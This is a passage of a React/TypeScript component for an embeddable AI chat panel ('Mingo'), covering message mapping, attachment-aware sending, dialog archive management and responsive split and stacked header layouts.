completed\n  // bubbles — and re-mounting their inline cards — on every realtime chunk).\n  // The Mingo avatar comes from the resolved agent CONFIG icon when one is\n  // available (same server-driven path as every other identity glyph, via\n  // `<EntityIcon>`) — falling back to the built-in `MingoIcon` when no config is\n  // in play (host mode with no `activeAgentSlug`).\n  const mingoAssistantIcon = useMemo(\n    () =>\n      effectiveAssistantIcon ? (\n        <EntityIcon icon={effectiveAssistantIcon} size={24} />\n      ) : (\n        <MingoIcon className=\"h-6 w-6\" cornerColor=\"var(--ods-flamingo-cyan-base)\" />\n      ),\n    [effectiveAssistantIcon],\n  )\n\n  // Stable per-message timestamps. The memoized `<ChatMessageEnhanced>`\n  // compares `timestamp.getTime()`, so we must NOT stamp `new Date()` fresh\n  // on each render: a moving clock makes every message's timestamp differ\n  // between renders, defeating memoization and forcing the WHOLE list (and\n  // every open menu/card inside it) to re-render on every realtime chunk.\n  // Prefer the host's real timestamp; otherwise stamp once per id and reuse\n  // it (keeps the displayed time stable and lets memoization hold even when\n  // the host omits a timestamp).\n  const timestampCacheRef = useRef<Map<string, Date>>(new Map())\n\n  // GUIDE MODE ONLY. Guide-mode user bubbles carry no host-supplied name/avatar\n  // (the SSE adapter emits bare `{ role, content }`), so fall back to the\n  // server-resolved identity (`useChatIdentity`): full name (first + last, or\n  // the legacy `name`) for the bubble label / avatar initials, and `avatarUrl`\n  // for the photo. In guide mode every user bubble IS the current viewer, so\n  // this is correct.\n  //\n  // Mingo mode is EXCLUDED on purpose: its bubbles can belong to DIFFERENT\n  // participants, whose name/avatar come from the host (`mingoState` messages) —\n  // a different identity source. Overlaying the current viewer's identity there\n  // stamped the viewer's photo onto EVERY user's bubble (the reported bug). When\n  // not in guide mode these stay `undefined`, so Mingo bubbles use only their\n  // host-supplied `m.name`/`m.avatar` (or the generic 'You' / no-avatar default).\n  const guideUserName =\n    activeMode === 'guide'\n      ? [identityUser?.firstName, identityUser?.lastName].filter(Boolean).join(' ').trim() ||\n        identityUser?.name?.trim() ||\n        undefined\n      : undefined\n  const guideUserAvatar =\n    activeMode === 'guide' ? identityUser?.avatarUrl?.trim() || undefined : undefined\n\n  // Map docMessages → lib's Message type, forwarding scrollAnchor.\n  const messages: Message[] = useMemo(() => {\n    const cache = timestampCacheRef.current\n    const seenIds = new Set<string>()\n\n    const mapped = rawMessages.map((m) => {\n      seenIds.add(m.id)\n      let timestamp: Date\n      if (m.timestamp != null) {\n        timestamp = new Date(m.timestamp)\n      } else {\n        const cached = cache.get(m.id)\n        timestamp = cached ?? new Date()\n        if (!cached) cache.set(m.id, timestamp)\n      }\n\n      return {\n        id: m.id,\n        role: m.role as 'user' | 'assistant',\n        // Host-supplied per-message name/avatar win (e.g. the signed-in user's\n        // full name + photo on a `user` bubble); fall back to the role default\n        // when the host doesn't provide them.\n        name: m.name ?? (m.role === 'assistant' ? 'Mingo' : (guideUserName ?? 'You')),\n        avatar: m.avatar ?? (m.role === 'user' ? (guideUserAvatar ?? null) : null),\n        // Forward the host's authorType so user bubbles get the same accent\n        // name color as the standalone /mingo page (user → 'admin').\n        ...(m.authorType ? { authorType: m.authorType } : {}),\n        content: m.segments && m.segments.length > 0 ? m.segments : m.content,\n        timestamp,\n        assistantType: m.role === 'assistant' ? ('mingo' as const) : undefined,\n        // `hidden` is load-bearing, NOT cosmetic: it carries synthetic rows\n        // (e.g. an auto-continuation directive) that the LLM must see but the\n        // reader must not. Dropping it here made the raw directive text render\n        // as an ordinary bubble. This field-by-field rebuild has to forward it\n        // explicitly — see `Message.hidden` and `chat-message-list`'s skip.\n        ...(m.hidden ? { hidden: true } : {}),\n        ...(m.scrollAnchor ? { scrollAnchor: m.scrollAnchor } : {}),\n        // Forward attached context items so the user bubble renders its chips.\n        ...(m.contextItems && m.contextItems.length > 0\n          ? { contextItems: m.contextItems }\n          : {}),\n      }\n    })\n\n    // Drop cached fallbacks for messages no longer present so the map can't\n    // grow unbounded across a long-lived session.\n    if (cache.size > seenIds.size) {\n      for (const id of cache.keys()) {\n        if (!seenIds.has(id)) cache.delete(id)\n      }\n    }\n\n    return mapped\n  }, [rawMessages, guideUserName, guideUserAvatar])\n\n  const handleSend = useCallback(\n    (text: string) => {\n      // Append chat-attachment markdown lines to the user's bubble.\n      let augmentedText = text\n      if (readyAttachments.length > 0) {\n        const markdown = readyAttachments\n          .map((att) => formatChatAttachmentMarkdownForBubble(att, viewUrlPrefix))\n          .join('')\n        augmentedText = `${text}${markdown}`\n      }\n      sendMessage(augmentedText, {\n        ...(readyAttachments.length > 0\n          ? { attachments: readyAttachments }\n          : {}),\n        ...(contextItems.length > 0 ? { contextItems } : {}),\n      })\n      if (readyAttachments.length > 0) {\n        clearAttachments()\n      }\n      // Clear the staged context once it's been handed to the host's send.\n      if (contextItems.length > 0) {\n        setContextItems([])\n      }\n    },\n    [sendMessage, readyAttachments, viewUrlPrefix, clearAttachments, contextItems],\n  )\n\n  /**\n   * Picking an option on a clarification card — deliberately NOT `handleSend`.\n   *\n   * `handleSend` belongs to the composer: it appends the staged attachments'\n   * markdown to the text, ships the staged context items, and then clears both.\n   * Routing an ask click through it would (a) send `label + attachment markdown`\n   * where the backend's classifier expects the label VERBATIM to resolve which\n   * reading was picked, and (b) consume a draft's attachments/context into a\n   * one-word answer the user never attached them to. So the label goes out on\n   * its own and whatever is staged in the composer stays staged.\n   */\n  const handleAskSelect = useCallback(\n    (label: string) => {\n      sendMessage(label)\n    },\n    [sendMessage],\n  )\n\n  // Admin \"try-asking chips\" → GUIDE-mode quick-action chips only (Mingo mode\n  // deliberately doesn't surface them). Clicking one SENDS the query immediately\n  // via the GuideWelcome `onQuickAction` → `handleSend` at the render site (no\n  // pre-fill) — restoring the original behavior + the admin \"sends\" copy.\n  const guideSuggestedActions = useMemo(\n    () => {\n      // Prefer the structured quick actions (label + prompt + icon) so embed\n      // chips render icons identically to the host SSR path. Only fall back to\n      // the legacy string-only `suggestedQueries` when no structured chips came\n      // back (older backend, or an admin who configured none).\n      if (effectiveQuickActions.length > 0) {\n        return effectiveQuickActions.map((qa) => ({\n          id: qa.id,\n          label: qa.label,\n          prompt: qa.prompt,\n          iconName: qa.iconName,\n          iconUrl: qa.iconUrl,\n          iconProps: qa.iconProps,\n          // Chip icon accent: the ADMIN-CONFIGURED identity color on the\n          // agent/persona (`icon_props.color`) wins; the built-in slug map\n          // (fae→pink, mingo→cyan) is only the fallback for unconfigured\n          // built-in agents.\n          accent: accentFromIdentityIcon(effectiveAssistantIcon) ?? getAgentAccent(activeAgentSlug),\n        }))\n      }\n      return (effectiveSuggestedQueries ?? []).map((q, i) => ({\n        id: `suggested-${i}`,\n        label: q,\n        prompt: q,\n      }))\n    },\n    [effectiveQuickActions, effectiveSuggestedQueries, effectiveAssistantIcon, activeAgentSlug],\n  )\n\n  // Dialog-history concerns (archive page, read-only archived conversation,\n  // rename/archive/unarchive modals) live in one hook so this component stays\n  // a thin orchestrator. Destructured with the names the JSX below uses.\n  const {\n    fetchArchivedDialogs,\n    unarchiveDialog,\n    archiveOpen,\n    archivedDialogs,\n    archivedCursor,\n    archivedLoading,\n    archivedPending,\n    openArchive,\n    closeArchive,\n    loadArchivedPage,\n    handleArchivedSelect,\n    handleSelectDialog,\n    isOpeningDialog,\n    isViewingArchived,\n    handleBack,\n    resetToNewChat,\n    activeDialog,\n    renameTarget,\n    setRenameTarget,\n    archiveTarget,\n    setArchiveTarget,\n    restoreTarget,\n    setRestoreTarget,\n    handleConfirmRename,\n    handleConfirmArchive,\n    handleConfirmRestore,\n  } = useChatDialogManager({\n    dialogs,\n    activeDialogId,\n    selectDialog,\n    clearMessages,\n    renameDialog,\n    archiveDialog,\n    fetchArchivedDialogs: mingoCaps.fetchArchivedDialogs,\n    unarchiveDialog: mingoCaps.unarchiveDialog,\n  })\n\n  const handleOpen = useCallback(() => setIsOpen(true), [setIsOpen])\n\n  // Close on every pathname change. Lib has no `usePathname()`, so we pass\n  // `null` — embedders that want pathname-driven close can wrap this\n  // component with their own close-on-navigation effect. The hub mounts\n  // `<HubRuntimeProvider>` which already supplies this behavior on the\n  // outer shell, so the chat panel close is a single concern here.\n  useCloseOnNavigation(handleNavigationClose, null)\n\n  // Listen for cross-component \"open chat with this row\" events. Fired by\n  // search bars when the user clicks a result with no public URL.\n  useEffect(() => {\n    const handler = (e: Event) => {\n      const detail = (\n        e as CustomEvent<{\n          source: string\n          ref: { type: string; id: string; title: string; url: string | null }\n        }>\n      ).detail\n      if (!detail || detail.source !== source) return\n      setIsOpen(true)\n      setTimeout(() => discussRef(detail.ref as ChatRef), 0)\n    }\n    window.addEventListener('ask-ai:open-with-ref', handler)\n    return () => window.removeEventListener('ask-ai:open-with-ref', handler)\n  }, [source, discussRef, setIsOpen])\n\n  // Listen for plain \"open chat\" events (no row context). Fired by the\n  // header MingoAiButton. Same strict source filter as `ask-ai:open-with-ref`\n  // above: events without a matching source are ignored.\n  useEffect(() => {\n    const handler = (e: Event) => {\n      const detail = (e as CustomEvent<{ source?: string }>).detail\n      if (!detail || detail.source !== source) return\n      setIsOpen(true)\n    }\n    window.addEventListener('ask-ai:open', handler)\n    return () => window.removeEventListener('ask-ai:open', handler)\n  }, [source, setIsOpen])\n\n  const hasMessages = messages.length > 0\n  // First dialog page in flight and nothing cached yet — we don't yet know if\n  // the user is new or returning, so the Mingo empty state shows a skeleton\n  // rather than flashing the new-user greeting+grid before the list lands.\n  const dialogsInitialLoading = isDialogsLoading && dialogs.length === 0\n  // Dialog list failed to load (e.g. backend down) and we have nothing cached.\n  // Distinct from \"no chats\" so the Mingo empty state can offer a retry instead\n  // of the new-user greeting (which misleadingly advertises Guide).\n  const dialogsLoadError = dialogsError && dialogs.length === 0\n  // A conversation is \"open\" the instant a chat is selected (`isOpeningDialog` /\n  // `isViewingArchived` are set synchronously on click) — not only once its\n  // history has loaded (`hasMessages`). Driving the surface + content branch\n  // off this makes the normal-chat open animate identically to the archived\n  // one instead of lagging behind the message fetch.\n  // In `previewMode`, the host drives the whole state (`mingoStateOverride`) and\n  // there is no dialog manager to set `isOpeningDialog`. So an embedded preview\n  // that wants a message-list skeleton (real header + composer, skeleton bubbles)\n  // signals it via `isMessagesLoading` — treat that as an open conversation so\n  // the content branch shows the skeleton instead of the new-user welcome.\n  const hasConversation =\n    hasMessages || isOpeningDialog || isViewingArchived || (previewMode && isMessagesLoading)\n  // Opening a dialog whose history hasn't arrived yet — show a message-list\n  // skeleton instead of an empty thread so the open reads as \"loading\" rather\n  // than a blank flash before the bubbles stream in.\n  const messagesInitialLoading = isMessagesLoading && !hasMessages\n  // Keys the content region so each distinct view (open conversation, Mingo\n  // welcome, Guide onboarding) remounts on switch → fades in for 200ms, the\n  // same feel as the surface flip. Switching dialogs stays \"conversation\" so\n  // streaming messages don't re-trigger the fade.\n  const contentViewKey = hasConversation ? 'conversation' : activeMode\n  // Guide-mode empty state (no open conversation) — drives the \"Mingo Guide\"\n  // header, the guide banner, and the GuideWelcome content branch.\n  const isGuideEmpty = !hasConversation && activeMode === 'guide'\n  // Quick-action chips exist in BOTH empty states (Guide onboarding + Mingo\n  // welcome). If the chip row goes away (a message is sent, or the mode\n  // switches) while a chip is still hovered, drop the in-flight preview so it\n  // can't leak into the next composer state.\n  const isQuickActionEmpty =\n    !hasConversation && (activeMode === 'guide' || activeMode === 'mingo')\n  useEffect(() => {\n    if (!isQuickActionEmpty) setQuickActionPreview(null)\n  }, [isQuickActionEmpty])\n  // The guide-empty back-chevron returns to Mingo — only offer it when Mingo\n  // mode actually exists to return to (guide is normally entered from Mingo).\n  const guideCanReturnToMingo = isGuideEmpty && hasMingoMode\n  const sourceLabel = source === 'flamingo' ? 'Knowledge Base' : 'Data Room'\n\n  // Empty-state chip grid — derived directly from the fetched slash commands.\n  const enabledSet = useMemo(\n    () =>\n      effectiveEnabledRagTableIds\n        ? new Set<string>(effectiveEnabledRagTableIds)\n        : null,\n    [effectiveEnabledRagTableIds],\n  )\n  const chipCommands = useMemo(() => {\n    const out: SlashCommandSummary[] = []\n    for (const cmd of commandsById.values()) {\n      if (cmd.displayOrder === undefined) continue\n      if (enabledSet && cmd.primarySourceId && !enabledSet.has(cmd.primarySourceId))\n        continue\n      out.push(cmd)\n    }\n    out.sort((a, b) => {\n      const ao = a.displayOrder ?? Number.POSITIVE_INFINITY\n      const bo = b.displayOrder ?? Number.POSITIVE_INFINITY\n      if (ao !== bo) return ao - bo\n      return a.id.localeCompare(b.id)\n    })\n    return out\n  }, [commandsById, enabledSet])\n\n  // Find sources for the last assistant message; split into cited / uncited.\n  const lastAssistantMsg = [...rawMessages].reverse().find((m) => m.role === 'assistant')\n  const lastSources = useMemo(() => {\n    if (chatLoading) return undefined\n    const sources = lastAssistantMsg?.sources\n    if (!sources || sources.length === 0) return undefined\n    const content = lastAssistantMsg?.content || ''\n    const citationOrder = [...content.matchAll(/\\[(\\d+)\\]/g)].map((m) =>\n      parseInt(m[1], 10),\n    )\n    const seenOrder = new Map<number, number>()\n    citationOrder.forEach((idx) => {\n      if (!seenOrder.has(idx)) seenOrder.set(idx, seenOrder.size)\n    })\n    const cited = sources\n      .filter((s) => seenOrder.has(s.index))\n      .sort((a, b) => (seenOrder.get(a.index) ?? 0) - (seenOrder.get(b.index) ?? 0))\n    const uncited = sources.filter((s) => !seenOrder.has(s.index))\n    return { cited, uncited }\n  }, [lastAssistantMsg, chatLoading])\n\n\n  // Host node for in-panel Radix portals (see the body wrapper below).\n  const [portalHost, setPortalHost] = useState<HTMLDivElement | null>(null)\n  // The panel element itself, published as the COLLISION boundary for overlays\n  // opened inside it. Radix otherwise collides against the viewport, so a ⋯ menu\n  // near the top of the thread flips upward past the panel and renders over the\n  // app header (reported: an entity card's menu landing in the top-right corner,\n  // detached from its card). `portalHost` can't serve here — it is\n  // `display: contents` and has no box to measure.\n  const [panelBoundary, setPanelBoundary] = useState<HTMLDivElement | null>(null)\n\n  // ── Split (wide) Mingo layout ─────────────────────────────────────────────\n  // The panel measures its own width and, in Mingo mode, promotes the inline\n  // dialog history to a fixed 320px \"Current Chats\" rail once there's room for\n  // both it and a 400px chat block. Narrower than that (or collapsed, or Guide\n  // mode / archive page) it stays the stacked single-column layout with the\n  // history inline in the empty state. Fully self-contained — the host opts\n  // into nothing; the switch is width-driven inside this component.\n  const [panelWidth, setPanelWidth] = useState(0)\n  const panelMeasureRef = useRef<HTMLDivElement | null>(null)\n  useEffect(() => {\n    const el = panelMeasureRef.current\n    if (!el || typeof ResizeObserver === 'undefined') return\n    const ro = new ResizeObserver((entries) => {\n      const w = entries[0]?.contentRect?.width\n      if (typeof w === 'number') setPanelWidth(w)\n    })\n    ro.observe(el)\n    setPanelWidth(el.clientWidth)\n    return () => ro.disconnect()\n  }, [])\n\n  // One ref for two consumers: the width measurement above (a plain ref, read\n  // once on mount) and the collision-boundary context (state, so provider\n  // consumers re-render once the node exists).\n  const setPanelNode = useCallback((node: HTMLDivElement | null) => {\n    panelMeasureRef.current = node\n    setPanelBoundary(node)\n  }, [])\n\n  // Rail collapse toggle (Figma ⟶| control), persisted so it survives the\n  // drawer remounting on close.\n  const [railCollapsed, setRailCollapsed] = useState(false)\n  useEffect(() => {\n    try {\n      if (window.localStorage.getItem(RAIL_COLLAPSED_STORAGE_KEY) === '1')\n        setRailCollapsed(true)\n    } catch {\n      // Storage can throw (private mode) — default to expanded.\n    }\n  }, [])\n  const toggleRailCollapsed = useCallback(() => {\n    setRailCollapsed((prev) => {\n      const next = !prev\n      try {\n        window.localStorage.setItem(RAIL_COLLAPSED_STORAGE_KEY, next ? '1' : '0')\n      } catch {\n        // Best-effort persistence; the in-memory state still applies this session.\n      }\n      return next\n    })\n  }, [])\n\n  // Header magnifier toggle — reveals the rail's built-in list search bar on\n  // demand (matches the Figma header). Only meaningful when search is wired.\n  const [railSearchOpen, setRailSearchOpen] = useState(false)\n\n  // Layout decision. `wideMingo` gates the desktop two-cell header (which hosts\n  // the expand control even while collapsed); `splitActive` additionally\n  // requires the rail to be expanded before its column renders. The archive\n  // page stays split-eligible: in wide mode it opens INSIDE the left rail (the\n  // right chat block stays put), and only falls back to the full-panel archive\n  // when stacked/collapsed.\n  const splitEligible = activeMode === 'mingo'\n  const canSplit = panelWidth >= SPLIT_MIN_WIDTH\n  // Embedded previews (hero demo tabs) always use the compact single-column\n  // header, never the two-column split — so `previewMode` opts out of `wideMingo`.\n  const wideMingo = splitEligible && canSplit && !previewMode\n  const splitActive = wideMingo && !railCollapsed\n  // Keep the \"Current Chats\" rail (header cell + list column) mounted through\n  // its width/opacity collapse so it eases away instead of hard-cutting; both\n  // synchronized parts wrap in `<RailSlot active={railPresence.active}>`.\n  const railPresence = useRailPresence(splitActive)\n  // The wide header is used for BOTH wide layouts — split (rail beside the chat)\n  // and collapsed (`wideCollapsed`: chat / new-chat welcome in the fill column,\n  // rail hidden). Its built-in corner toggle expands/collapses the rail — the\n  // only chat-list navigation in wide mode, so there's no back chevron here.\n  // `|| railPresence.mounted` keeps it through the rail's exit animation when a\n  // resize drops below the split threshold (wideMingo → narrow).\n  const showWideHeader = wideMingo || railPresence.mounted\n\n  // ── Narrow (stacked) list ⇄ compose navigation ────────────────────────────\n  // The redesigned narrow layout (Figma 341:36190 / 113:69276) splits the old\n  // combined empty state into two views: a \"Current Chats\" LIST (no composer)\n  // and a \"New Chat\" COMPOSE view (greeting + composer) reached from the list's\n  // \"Start New Chat\" button. Wide mode shows both columns at once, so this only\n  // drives the single-column presentation.\n  const [composeOpen, setComposeOpen] = useState(false)\n  // Opening a conversation supersedes the compose view — reset it so backing out\n  // of the conversation lands on the list, not a stale compose screen.\n  useEffect(() => {\n    if (hasConversation) setComposeOpen(false)\n  }, [hasConversation])\n  const isMingoMode = activeMode === 'mingo'\n  // The stacked \"Current Chats\" list — the NARROW single-column Mingo view. It\n  // is a narrow-only layout: in any wide layout the chat list lives in the rail,\n  // and collapsing the rail (`wideCollapsed`) shows the chat / new-chat welcome\n  // in the fill column (navigation is via re-expanding the rail), NOT the list.\n  // Requires no open conversation, no archive, and not composing (the composer\n  // lives on the compose view).\n  const stackedListView =\n    isMingoMode &&\n    !hasConversation &&\n    !archiveOpen &&\n    !wideMingo &&\n    !composeOpen\n\n  // Shared header derivations — consumed by the stacked `ChatPanelHeader`, its\n  // mobile fallback, and the desktop split header's right cell, so the title /\n  // back / ⋯ semantics can't drift between layouts.\n  const headerShowBack = hasConversation || guideCanReturnToMingo\n  const headerTitle = hasConversation\n    ? activeDialog?.title || 'New Chat'\n    : isGuideEmpty\n      ? (headerAssistantName ?? 'Mingo Guide')\n      : 'Current Chats'\n  const headerBackAriaLabel = hasConversation\n    ? isViewingArchived\n      ? 'Back to archive'\n      : 'Back'\n    : 'Back to Mingo'\n  const headerOnBack = hasConversation\n    ? handleBack\n    : () => handleActiveModeChange('mingo')\n  const headerOnRestore =\n    isViewingArchived && unarchiveDialog && activeDialog\n      ? () => setRestoreTarget(activeDialog)\n      : undefined\n  const headerOnRename =\n    activeDialogId && activeDialog && mingoCaps.canRename\n      ? () => setRenameTarget(activeDialog)\n      : undefined\n  const headerOnArchive =\n    activeDialogId && activeDialog && mingoCaps.canArchive\n      ? () => setArchiveTarget(activeDialog)\n      : undefined\n  const headerOnCopyLink =\n    activeDialogId && activeDialog && mingoCaps.onCopyLink\n      ? () => mingoCaps.onCopyLink?.(activeDialog)\n      : undefined\n  const headerOnOpenArchive = fetchArchivedDialogs ? openArchive : undefined\n\n  // Header person (sub-line + 32px avatar, Figma 113:63273): the dialog OWNER\n  // for an open conversation — with \"All Chats\" scope that can be another\n  // admin; the signed-in user otherwise (New Chat compose — they will own it).\n  // An owner without an avatar URL still wins the slot: initials of the OWNER,\n  // not the viewer's photo.\n  const headerOwner = hasConversation ? activeDialog?.owner : undefined\n  const headerPersonName = headerOwner?.name?.trim() || headerUserName\n  const headerPersonAvatarUrl = headerOwner\n    ? headerOwner.avatarUrl?.trim() || undefined\n    : identityUser?.avatarUrl?.trim() || userAvatarUrl?.trim() || undefined\n  const headerAvatar =\n    headerPersonName || headerPersonAvatarUrl\n      ? { name: headerPersonName, avatarUrl: headerPersonAvatarUrl }\n      : undefined\n\n  // \"Start New Chat\" (rail button) — reset to the new-chat welcome. Uses the\n  // dedicated reset (not `handleBack`, which would reopen the archive when the\n  // open conversation is archived) so it always lands on a fresh chat.\n  const handleNewChat = useCallback(() => {\n    resetToNewChat()\n  }, [resetToNewChat])\n\n  // Host-driven \"Start New Chat\" (see EmbeddableChatHandle). Same reset as the\n  // rail button, plus the narrow layout's list→compose navigation that the\n  // in-panel button gets from the list itself — a host has no other way in.\n  useImperativeHandle(\n    handleRef,\n    () => ({\n      startNewChat: () => {\n        resetToNewChat()\n        setComposeOpen(true)\n      },\n    }),\n    [resetToNewChat],\n  )\n\n  // Desktop split header ⋯ menu (active, non-archived conversation only).\n  const splitHeaderMenuItems = [\n    headerOnCopyLink && { id: 'copy-link', label: 'Copy chat link', onClick: headerOnCopyLink },\n    headerOnRename && { id: 'rename', label: 'Rename chat', onClick: headerOnRename },\n    headerOnArchive && { id: 'archive', label: 'Archive chat', onClick: headerOnArchive },\n  ].filter(Boolean) as ActionsMenuItem[]\n\n  // Narrow (single-column) header. The Mingo empty state splits into a \"Current\n  // Chats\" list header (search + archive, no back) and a \"New Chat\" compose\n  // header (back to the list); conversations + guide keep the shared header\n  // derivations. Wide mode uses its own two-cell header instead.\n  const narrowMingoEmpty = isMingoMode && !hasConversation && !archiveOpen\n  const narrowHeaderProps: ChatPanelHeaderProps = narrowMingoEmpty\n    ? composeOpen\n      ? {\n          showBack: true,\n          title: 'New Chat',\n          subtitle: headerUserName,\n          avatar: headerAvatar,\n          backAriaLabel: 'Back to chats',\n          onBack: () => setComposeOpen(false),\n          onClose: handleClose,\n        }\n      : {\n          showBack: false,\n          title: 'Current Chats',\n          onClose: handleClose,\n          onOpenArchive: headerOnOpenArchive,\n          onToggleSearch: mingoCaps.onSearchChange\n            ? () => setRailSearchOpen((o) => !o)\n            : undefined,\n          searchActive: railSearchOpen,\n          searchQuery: mingoCaps.searchQuery,\n          onSearchChange: mingoCaps.onSearchChange,\n        }\n    : {\n        showBack: headerShowBack,\n        title: headerTitle,\n        subtitle: headerPersonName,\n        avatar: headerAvatar,\n        backAriaLabel: headerBackAriaLabel,\n        isArchivedView: isViewingArchived,\n        onBack: headerOnBack,\n        onClose: handleClose,\n        onRestore: headerOnRestore,\n        onRename: headerOnRename,\n        onArchive: headerOnArchive,\n        onCopyLink: headerOnCopyLink,\n        onOpenArchive: headerOnOpenArchive,\n      }\n\n  // Chat body — defined once, then rendered inside whichever shell applies.\n  // Radix overlays (⋯ menus, tooltips) portal into `portalHost` — a node inside\n  // this panel — so they inherit the drawer's stacking context and need only a\n  // small, local z-index instead of escalating to beat the drawer at the\n  // document root. See `PortalContainerContext`.\n  const body = (\n        <PortalContainerContext.Provider value={portalHost}>\n         <CollisionBoundaryContext.Provider value={panelBoundary}>\n            {/* Panel surface depends on state (Figma):\n                  • Narrow \"Current Chats\" LIST + FULL-PANEL archive page → grey\n                    `ods-card` (#212121) — matching the grey rail those lists live\n                    in when the panel is wide,\n                  • Mingo welcome / compose (node 113:69208), Guide empty\n                    (node 7532:328223), and the active conversation → dark\n                    `ods-bg` (#161616).\n                The header keeps its own grey `bg-ods-card`; the content and\n                footer have no bg and inherit this root, so they flip together.\n                The archive only tints the root when it's FULL-PANEL (`!splitActive`)\n                — in the split layout it lives in the rail (which owns its own\n                grey), so the chat block on the right must keep the conversation's\n                dark surface instead of following the archive. */}\n            <div\n              ref={setPanelNode}\n              className={`flex h-full flex-col overflow-hidden transition-colors duration-200 ${\n                (archiveOpen && !splitActive) || stackedListView\n                  ? 'bg-ods-card'\n                  : 'bg-ods-bg'\n              } ${previewMode ? 'pointer-events-none select-none' : ''}`}\n            >\n              {/* Archive-page ↔ chat-panel swap fades in (200ms) to match the\n                  surface flip. The full-panel archive is used only when NOT in\n                  the wide split layout — there the archive opens inside the left\n                  rail instead (see the rail column below). */}\n              {archiveOpen && !splitActive ? (\n                <div\n                  key=\"archive-view\"\n                  className=\"flex flex-1 min-h-0 flex-col animate-in fade-in-0 duration-200\"\n                >\n                  <ChatArchivePage\n                    dialogs={archivedDialogs}\n                    onSelectDialog={handleArchivedSelect}\n                    onBack={closeArchive}\n                    onClose={handleClose}\n                    isLoading={archivedLoading}\n                    isFetching={archivedPending}\n                    hasMore={archivedCursor != null}\n                    onLoadMore={() => {\n                      void loadArchivedPage(archivedCursor ?? undefined)\n                    }}\n                  />\n                </div>\n              ) : (\n              <div\n                key=\"chat-view\"\n                className=\"flex flex-1 min-h-0 flex-col animate-in fade-in-0 duration-200\"\n              >\n              {showWideHeader ? (\n                // Wide Mingo header (Figma 113:60931 / 113:63630). Split: a\n                // two-cell bar — the \"Current Chats\" rail header (search /\n                // archive / collapse) over the 320px rail + the chat-block header\n                // (title / ⋯ / close) over the fill column. Collapsed\n                // (`wideCollapsed`): the rail cell is gone, leaving the corner\n                // expand toggle + the chat-block header (the fill column shows\n                // the chat / new-chat welcome). No back chevron — chat-list\n                // navigation is the rail toggle. Shown whenever the panel is wide\n                // enough to split (`panelWidth ≥ SPLIT_MIN_WIDTH`), NOT gated on\n                // the viewport `md` breakpoint — otherwise a 720–799px panel on a\n                // sub-`md` viewport would split the body yet drop to the mobile\n                // single-bar header (no rail search / collapse controls).\n                <div className=\"flex h-14 w-full flex-shrink-0 overflow-hidden border-b border-ods-border bg-ods-card\">\n                    {railPresence.mounted && (\n                      <RailSlot\n                        active={railPresence.active}\n                        innerClassName=\"flex overflow-hidden\"\n                      >\n                        {archiveOpen ? (\n                          // Archive open in the wide layout — the rail header\n                          // turns into a \"Chat Archive\" back bar (the list itself\n                          // renders in the rail below); the chat block is untouched.\n                          // Back is a full-height leading cell, matching the other\n                          // header cells (not a small inline chevron).\n                          <>\n                            <ChatHeaderIconButton\n                              divider=\"right\"\n                              onClick={closeArchive}\n                              aria-label=\"Back to chats\"\n                            >\n                              <Chevron02LeftIcon size={24} />\n                            </ChatHeaderIconButton>\n                            <div className=\"flex min-w-0 flex-1 items-center px-[var(--spacing-system-mf)]\">\n                              <span className=\"min-w-0 flex-1 truncate text-h3 text-ods-text-primary\">\n                                Chat Archive\n                              </span>\n                            </div>\n                          </>\n                        ) : (\n                          // \"Current Chats\" rail header — title fills, then the\n                          // search + archive controls. When search is open the\n                          // inline field takes over the title area in place\n                          // (Figma 116:51217) and the magnifier toggle is hidden.\n                          <>\n                            {railSearchOpen && mingoCaps.onSearchChange ? (\n                              <ChatHeaderSearchField\n                                initialValue={mingoCaps.searchQuery}\n                                onSearchChange={mingoCaps.onSearchChange}\n                                onCollapse={() => setRailSearchOpen(false)}\n                              />\n                            ) : (\n                              <>\n                                <div className=\"flex min-w-0 flex-1 items-center px-[var(--spacing-system-mf)]\">\n                                  <span className=\"min-w-0 flex-1 truncate text-h3 text-ods-text-primary\">\n                                    Current Chats\n                                  </span>\n                                </div>\n                                {mingoCaps.onSearchChange && (\n                                  <ChatHeaderIconButton\n                                    onClick={() => setRailSearchOpen((o) => !o)}\n                                    aria-label=\"Search chats\"\n                                    aria-pressed={railSearchOpen}\n                                  >\n                                    <SearchIcon size={24} />\n                                  </ChatHeaderIconButton>\n                                )}\n                              </>\n                            )}\n                            {headerOnOpenArchive && (\n                              <ChatHeaderIconButton onClick={headerOnOpenArchive} aria-label=\"Chat archive\">\n                                <ClockHistoryIcon size={24} />\n                              </ChatHeaderIconButton>\n                            )}\n                          </>\n                        )}\n                      </RailSlot>\n                    )}\n\n                    <div className=\"flex flex-1 min-w-0\">\n                      {/* Rail collapse / expand toggle — lives on the chat side,\n                          at its left edge (Figma 259:90465). Right arrow collapses\n                          the list; left arrow brings it back. */}\n                      <button\n                        type=\"button\"\n                        onClick={toggleRailCollapsed}\n                        aria-label={splitActive ? 'Collapse chat list' : 'Show chat list'}\n                        aria-pressed={!splitActive}\n                        className=\"flex size-14 shrink-0 items-center justify-center border-r border-ods-border text-ods-text-secondary transition-colors hover:bg-ods-bg-hover hover:text-ods-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent\"\n                      >\n                        {splitActive ? <Arrow02RightIcon size={24} /> : <Arrow02LeftIcon size={24} />}\n                      </button>\n                      {/* No back cell in the wide layout — the left rail (and\n                          its collapse/expand toggle) already provides chat-list\n                          navigation, so a back chevron would be redundant. */}\n                      <div className=\"flex flex-1 min-w-0 items-center gap-[var(--spacing-system-m)] px-[var(--spacing-system-mf)] py-[var(--spacing-system-sf)]\">\n                        <div className=\"flex min-w-0 flex-col\">\n                          <p className=\"truncate text-h3 leading-tight text-ods-text-primary\">\n                            {headerShowBack ? headerTitle : 'New Chat'}\n                          </p>\n                          {headerPersonName && (\n                            <p className=\"truncate text-h6 leading-tight text-ods-text-secondary\">\n                              {headerPersonName}\n                            </p>\n                          )}\n                        </div>\n                        {headerAvatar ? (\n                          // Owner avatar at the title cell's right edge (Figma 113:63273).\n                          <SquareAvatar\n                            variant=\"round\"\n                            sizePx={32}\n                            className=\"ml-auto\"\n                            src={headerAvatar.avatarUrl || undefined}\n                            alt={headerAvatar.name || undefined}\n                            fallback={headerAvatar.name || undefined}\n                            initialsClassName=\"text-[11px] text-ods-text-secondary\"\n                            title={headerAvatar.name || undefined}\n                          />\n                        ) : null}\n                      </div>\n\n                      {isViewingArchived && headerOnRestore && (\n                        <ChatHeaderIconButton onClick={headerOnRestore} aria-label=\"Unarchive chat\">\n                          <Refresh01LeftIcon size={24} />\n                        </ChatHeaderIconButton>\n                      )}\n                      {headerShowBack && !isViewingArchived && splitHeaderMenuItems.length > 0 && (\n                        